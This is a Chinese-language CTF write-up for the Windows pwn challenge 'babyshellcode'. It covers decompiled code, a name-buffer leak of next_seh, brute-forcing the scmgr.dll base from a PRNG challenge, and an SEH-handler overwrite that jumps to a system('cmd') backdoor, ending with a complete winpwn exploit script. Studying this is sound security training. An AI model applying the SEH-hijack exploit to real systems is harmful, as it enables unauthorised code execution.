保护检查

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Results for: .\babyshellcode.exe
Dynamic Base : "Present"
ASLR : "Present"
High Entropy VA : "NotPresent"
Force Integrity : "NotPresent"
Isolation : "Present"
NX : "Present"
SEH : "Present"
CFG : "Present"
RFG : "NotPresent"
SafeSEH : "NotPresent"
GS : "Present"
Authenticode : "NotPresent"
.NET : "NotPresent"

很迷惑,明明检查不出来开了 SafeSEH ,但是大家都说这题开了(?)

程序分析

程序的主逻辑如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // esi
char v4; // al
int v5; // esi
char v6; // al
char choice[16]; // [esp+4h] [ebp-28h] BYREF
char name[16]; // [esp+14h] [ebp-18h] BYREF
int v10; // [esp+24h] [ebp-8h]

init_();
v10 = 0;
*(_OWORD *)name = 0i64;
puts("leave your name");
v3 = 0;
v4 = getchar();
do
{
if ( v4 == 10 )
break;
name[v3++] = v4;
v4 = getchar();
}
while ( v3 != 0x12C );
printf("hello %s\n", name);
while ( 1 )
{
puts("1. Create shellcode");
puts("2. List shellcodes");
puts("3. Delete shellcode");
puts("4. Run shellcode");
puts("5. Set ShellcodeGuard");
puts("0. Exit");
puts("Option:");
*(_OWORD *)choice = 0i64;
v5 = 0;
v6 = getchar();
do
{
if ( v6 == 10 )
break;
choice[v5++] = v6;
v6 = getchar();
}
while ( v5 != 15 );
switch ( atoi(choice) )
{
case 0:
exit_();
case 1:
add();
break;
case 2:
list();
break;
case 3:
delete();
break;
case 4:
run();
break;
case 5:
set();
break;
default:
continue;
}
}
}

输入的 name 存在栈溢出

其中的 init 会调用 scmgr.dll 中的 init_scmgr 函数,并且将 init_scmgr 的地址进行了不断变化生成了 g_table

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int init_()
{
_DWORD *v0; // ebx
FILE *v1; // eax
FILE *v2; // eax
int v3; // ecx

v0 = malloc(0x80u);
v1 = _acrt_iob_func(1u);
setvbuf(v1, 0, 4, 0);
v2 = _acrt_iob_func(0);
setvbuf(v2, 0, 4, 0);
if ( init_scmgr() < 0 )
{
puts("error to init scmgr!");
exit(0);
}
v3 = 1;
*v0 = init_scmgr;
do
{
v0[v3] = 69069 * v0[v3 - 1];
++v3;
}
while ( v3 < 32 );
dword_40544C = 0;
qmemcpy(&g_table, v0, 0x80u);
free(v0);
true = 1;
puts("Hey, Welcome to shellcode test system!");
return 0;
}

Untitled.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int init_scmgr()
{
LPVOID v0; // eax
int result; // eax
struct _SYSTEM_INFO SystemInfo; // [esp+0h] [ebp-24h] BYREF

GetSystemInfo(&SystemInfo);
dword_10003018 = SystemInfo.dwPageSize;
dword_10003390 = 20 * SystemInfo.dwPageSize;
v0 = VirtualAlloc(0, 20 * SystemInfo.dwPageSize, 0x1000u, 0x40u);
dword_1000338C = (int)v0;
if ( v0 )
{
sub_10001020("Global memory alloc at %p\n", (char)v0);
result = dword_1000338C;
dword_10003388 = dword_1000338C;
}
else
{
puts("Error to alloc globalmemory");
result = -1;
}
return result;
}

add 函数会添加 shellcode_chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
int add()
{
int v0; // esi
char v1; // al
int size; // edi
int chunk; // ebx
int idx; // esi
sc *sc_struct; // eax
int v7; // edi
char v8; // al
int v9; // edi
char v10; // al
int v11; // eax
int v12; // ebx
char v13; // al
int v14; // edi
int v15; // [esp+Ch] [ebp-B4h]
int v16; // [esp+10h] [ebp-B0h]
char description[128]; // [esp+14h] [ebp-ACh] BYREF
char name[16]; // [esp+94h] [ebp-2Ch] BYREF
__int64 v19; // [esp+A4h] [ebp-1Ch]
char String[16]; // [esp+ACh] [ebp-14h] BYREF

*(_OWORD *)name = 0i64;
v19 = 0i64;
memset(description, 0, sizeof(description));
puts("shellcode size:");
*(_OWORD *)String = 0i64;
v0 = 0;
v1 = getchar();
do
{
if ( v1 == 10 )
break;
String[v0++] = v1;
v1 = getchar();
}
while ( v0 != 15 );
size = atoi(String);
chunk = allocsc(size);
idx = 0;
v16 = 0;
while ( *(&Block + idx) )
{
v16 = ++idx;
if ( idx >= 20 )
goto LABEL_9;
}
sc_struct = (sc *)operator new(0x10u);
*(&Block + idx) = sc_struct;
if ( idx == -1 )
{
LABEL_9:
puts("Too much shellcode!");
return -2;
}
sc_struct->data = chunk;
sc_struct->size = size;
puts("shellcode name:");
v7 = 0;
v8 = getchar();
do
{
if ( v8 == 10 )
break;
name[v7++] = v8;
v8 = getchar();
}
while ( v7 != 20 );
*(_DWORD *)*(&Block + idx) = strdup(name);
puts("shellcode description:");
v9 = 0;
v10 = getchar();
do
{
if ( v10 == 10 )
break;
description[v9++] = v10;
v10 = getchar();
}
while ( v9 != 100 );
*((_DWORD *)*(&Block + idx) + 3) = strdup(description);
puts("shellcode:");
v11 = (int)*(&Block + idx);
v12 = *(_DWORD *)(v11 + 8);
v15 = *(_DWORD *)(v11 + 4);
v13 = getchar();
v14 = 0;
if ( v12 )
{
do
{
*(_BYTE *)(v14 + v15) = v13;
++v14;
v13 = getchar();
}
while ( v14 != v12 );
idx = v16;
}
printf("Create shell code done, shellcode idx=%d\n", idx);
return 0;
}

结构体也很简单

1
2
3
4
5
6
00000000 sc              struc ; (sizeof=0x10, mappedto_52)
00000000 name dd ?
00000004 data dd ?
00000008 size dd ?
0000000C description dd ?
00000010 sc ends

另外 add 也会调用 scmgr.dll 中的 allocsc 函数

1
2
3
4
5
6
7
8
9
10
int __cdecl allocsc(int a1)
{
int v1; // edx

v1 = a1 + dword_10003388;
if ( a1 + dword_10003388 >= (unsigned int)(dword_1000338C + dword_10003390) )
return -1;
dword_10003388 += a1;
return v1 - a1;
}

然后是 listdelete ,顾名思义就是打印和删除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int list()
{
const char ***v0; // edi
char *v1; // esi

v0 = (const char ***)&Block;
do
{
if ( *v0 )
{
puts(**v0);
puts((*v0)[3]);
v1 = (char *)(*v0)[1];
if ( (*v0)[2] )
{
do
printf("\\x%hhx", *v1++);
while ( v1 - (*v0)[1] < (unsigned int)(*v0)[2] );
}
puts(&byte_40327B);
}
++v0;
}
while ( (int)v0 < (int)&true );
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int delete()
{
int v0; // esi
char v1; // al
int idx; // edi
void **v3; // esi
int result; // eax
char String[16]; // [esp+8h] [ebp-14h] BYREF

puts("shellcode index:");
*(_OWORD *)String = 0i64;
v0 = 0;
v1 = getchar();
do
{
if ( v1 == 10 )
break;
String[v0++] = v1;
v1 = getchar();
}
while ( v0 != 15 );
idx = atoi(String);
v3 = (void **)*(&Block + idx);
if ( v3 )
{
free(*v3);
free(v3[3]);
free_(v3);
*(&Block + idx) = 0;
result = 0;
}
else
{
puts("invalid index");
result = -1;
}
return result;
}

随后是 run ,会执行 shellcode ,其中 memcpy 有一个栈溢出,但是由于把最开头的 shellcode 设为了 -1 ,所以必定会出错,出错就会触发 SEH

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int run()
{
int idx; // ebx
int chunk; // edi
int result; // eax
_DWORD *shellcodes; // esi
char Src[100]; // [esp+10h] [ebp-80h] BYREF
CPPEH_RECORD ms_exc; // [esp+78h] [ebp-18h]

memset(Src, 0, sizeof(Src));
ms_exc.registration.TryLevel = 0;
puts("shellcode index:");
idx = get_int();
chunk = (int)*(&Block + idx);
if ( chunk )
{
if ( true )
{
shellcodes = *(_DWORD **)(chunk + 4);
memcpy(Src, shellcodes, *(_DWORD *)(chunk + 8)); // stack overflow
*shellcodes = -1;
}
(*(void (__thiscall **)(_DWORD))(chunk + 4))(*(_DWORD *)(chunk + 4));
if ( true )
memcpy(*((void **)*(&Block + idx) + 1), Src, *((_DWORD *)*(&Block + idx) + 2));
result = 0;
}
else
{
puts("invalid index");
ms_exc.registration.TryLevel = -2;
result = -1;
}
return result;
}

Untitled 1.png

最后是 set ,会调用奇怪的加密方法打印出来加密后的数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
int set()
{
int v0; // esi
char v1; // al
int choice; // eax
int v3; // eax
int v4; // eax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
int v9; // esi
char v10; // al
int v12; // [esp-14h] [ebp-34h]
int v13; // [esp-10h] [ebp-30h]
int v14; // [esp-Ch] [ebp-2Ch]
int v15; // [esp-8h] [ebp-28h]
int v16; // [esp-4h] [ebp-24h]
char String[16]; // [esp+Ch] [ebp-14h] BYREF

puts("1. Disable ShellcodeGuard");
puts("2. Enable ShellcodeGuard");
puts("Option:");
*(_OWORD *)String = 0i64;
v0 = 0;
v1 = getchar();
do
{
if ( v1 == 10 )
break;
String[v0++] = v1;
v1 = getchar();
}
while ( v0 != 15 );
choice = atoi(String);
if ( choice == 1 ) // disable
{
v3 = ((int (*)(void))enc)();
v4 = enc(v3);
v5 = enc(v4);
v6 = enc(v5);
v7 = enc(v6);
v8 = enc(v7);
printf("Your challenge code is %x-%x-%x-%x-%x-%x\n", v8, v12, v13, v14, v15, v16);
puts("challenge response:");
v9 = 0;
v10 = getchar();
do
{
if ( v10 == 10 )
break;
++v9;
v10 = getchar();
}
while ( v9 != 20 );
puts("respose wrong!");
}
else
{
if ( choice == 2 ) // enable
{
true = 1;
return 0;
}
puts("wrong option");
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int enc()
{
int v0; // ebx
int v1; // edi
unsigned int v2; // esi
int v3; // eax
int v4; // edx
char v5; // cl

v0 = ((_BYTE)dword_40544C - 1) & 0x1F;
v2 = g_table[((_BYTE)dword_40544C + 3) & 0x1F] ^ g_table[dword_40544C] ^ ((unsigned int)g_table[((_BYTE)dword_40544C
+ 3) & 0x1F] >> 8);
dword_4054D0 = g_table[v0];
v1 = dword_4054D0;
dword_4054D4 = v2;
v3 = g_table[((_BYTE)dword_40544C + 10) & 0x1F];
v4 = g_table[((_BYTE)dword_40544C - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[((_BYTE)dword_40544C - 8) & 0x1F])) << 14);
v5 = dword_40544C;
dword_4054D8 = v4;
g_table[dword_40544C] = v2 ^ v4;
g_table[v0] = v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ (4 * v4)))) << 7);
dword_40544C = (v5 - 1) & 0x1F;
return g_table[dword_40544C];
}

同时 scmgr.dll 中也有 getshell_test 函数,看样子是一个后门

1
2
3
4
5
int getshell_test()
{
system("cmd");
return 0;
}

漏洞利用

程序虽然可以执行 shellcode ,但是必定会执行出错触发 SEH ,我们可以通过 name 的栈溢出泄露数据,然后在 run 的栈溢出劫持 SEH

经过检查 scmgr.dll 是没有开启 SafeSEH 的,所以可以通过它来劫持 SEH ,首先是泄露 next_seh 指针。

在执行 main 之前会执行 __scrt_common_main_seh@@YAHXZ 函数,其中一块是会调用 __SEH_prolog4函数,其中会将 next_seh 压入栈中,而且并不会更新当前 Exception_Registrationseh 的值:

1
2
3
4
5
.text:004023B0                 push    offset __except_handler4
.text:004023B5 push large dword ptr fs:0 //压入next_seh
.text:004023BC mov eax, [esp+8+arg_4]
.text:004023C0 mov [esp+8+arg_4], ebp
.text:004023C4 lea ebp, [esp+8+arg_4]

所以我们可以使用 name 那里的溢出泄露位于 main 函数栈帧下方的 __SEH_prolog4next_seh 函数

Win10 里面多了一个 Check 函数 ntdll!RtlpIsValidExceptionChain ,这个函数会去获得当前 seh chain 的 prev 域的值,并将其与当前栈上的 next_seh 比较

1
2
3
4
5
payload = "a" * 80
set_name(payload)
ru(payload)
next_seh = u32(rc(4))
print(f"[+] next_seh : {hex(next_seh)}")

之后通过 set 函数得到 backdoor 的地址,这里寻找 scmgr.dll 基地址的时候爆破就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def get_scmgr_base(check):
for base in range(0x60000000, 0x80000000, 0x10000):
init_scmgr = base + 0x1090
g_table = [init_scmgr]
for i in range(31):
init_scmgr = (init_scmgr * 69069) & 0xffffffff
g_table.append(init_scmgr)
g_index = 0
v0 = (g_index-1) & 0x1f
v2 = g_table[(g_index + 3) & 0x1f] ^ g_table[g_index] ^ (g_table[(g_index + 3) & 0x1f] >> 8)
v1 = g_table[v0]
v3 = g_table[(g_index + 10) & 0x1F]
v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
v4 = v4 & 0xffffffff
g_table[g_index] = v2 ^ v4
g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7)) & 0xffffffff
g_index = (g_index - 1) & 0x1F
if(g_table[g_index] == check):
print(f"[+] base: {hex(base)}")
return base + 0x1100

set(1)
ru("Your challenge code is ")
check = ru("\r\n").split("-")[5][:8]
check = int(check, 16)
backdoor_addr = get_scmgr_base(check)
print(f"[+] backdoor_addr : {hex(backdoor_addr)}")

sla("challenge response:\r\n","Ver")

最后恢复 next_seh 并覆写 handle 指针到后门函数来 getshell

1
2
3
4
5
6
7
payload = ""
payload += "a" * 0x70
payload += p32(next_seh)
payload += p32(backdoor_addr)
add(payload,"a","a")

run(0)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from winpwn import *
context.log_level = "debug"

def rc(num):
return r.recv(num)

def ru(prefix,drop = True):
data = r.recvuntil(prefix)
if drop:
return data[:-len(prefix)]
else:
return data

def sd(content):
r.send(content)

def sl(content):
r.sendline(content)

def sda(prefix,content):
ru(prefix)
sd(content)

def sla(prefix,content):
ru(prefix)
sl(content)

def set_name(name):
sla("leave your name\r\n",name)

def cmd(idx):
sla("Option:\r\n",str(idx))

def add(sc,name,description):
cmd(1)
sla("shellcode size:\r\n",str(len(sc)))
sla("shellcode name:\r\n",name)
sla("shellcode description:\r\n",description)
sla("shellcode:\r\n",sc)

def list():
cmd(2)

def free(idx):
cmd(3)
sla("shellcode index:\r\n",str(idx))

def run(idx):
cmd(4)
sla("shellcode index:\r\n",str(idx))

def set(choice):
cmd(5)
cmd(choice)

def get_scmgr_base(check):
for base in range(0x60000000, 0x80000000, 0x10000):
init_scmgr = base + 0x1090
g_table = [init_scmgr]
for i in range(31):
init_scmgr = (init_scmgr * 69069) & 0xffffffff
g_table.append(init_scmgr)
g_index = 0
v0 = (g_index-1) & 0x1f
v2 = g_table[(g_index + 3) & 0x1f] ^ g_table[g_index] ^ (g_table[(g_index + 3) & 0x1f] >> 8)
v1 = g_table[v0]
v3 = g_table[(g_index + 10) & 0x1F]
v4 = g_table[(g_index - 8) & 0x1F] ^ v3 ^ ((v3 ^ (32 * g_table[(g_index - 8) & 0x1F])) << 14)
v4 = v4 & 0xffffffff
g_table[g_index] = v2 ^ v4
g_table[v0] = (v1 ^ v2 ^ v4 ^ ((v2 ^ (16 * (v1 ^ 4 * v4))) << 7)) & 0xffffffff
g_index = (g_index - 1) & 0x1F
if(g_table[g_index] == check):
print(f"[+] base: {hex(base)}")
return base + 0x1100

r = process("./babyshellcode.exe")

payload = "a" * 80
set_name(payload)
ru(payload)
next_seh = u32(rc(4))
print(f"[+] next_seh : {hex(next_seh)}")

set(1)
ru("Your challenge code is ")

check = ru("\r\n").split("-")[5][:8]
check = int(check, 16)
backdoor_addr = get_scmgr_base(check)
print(f"[+] backdoor_addr : {hex(backdoor_addr)}")

sla("challenge response:\r\n","Ver")

payload = ""
payload += "a" * 0x70
payload += p32(next_seh)
payload += p32(backdoor_addr)
add(payload,"a","a")

# windbgx.attach(r)

run(0)

# bp babyshellcode + 0x1365

r.interactive()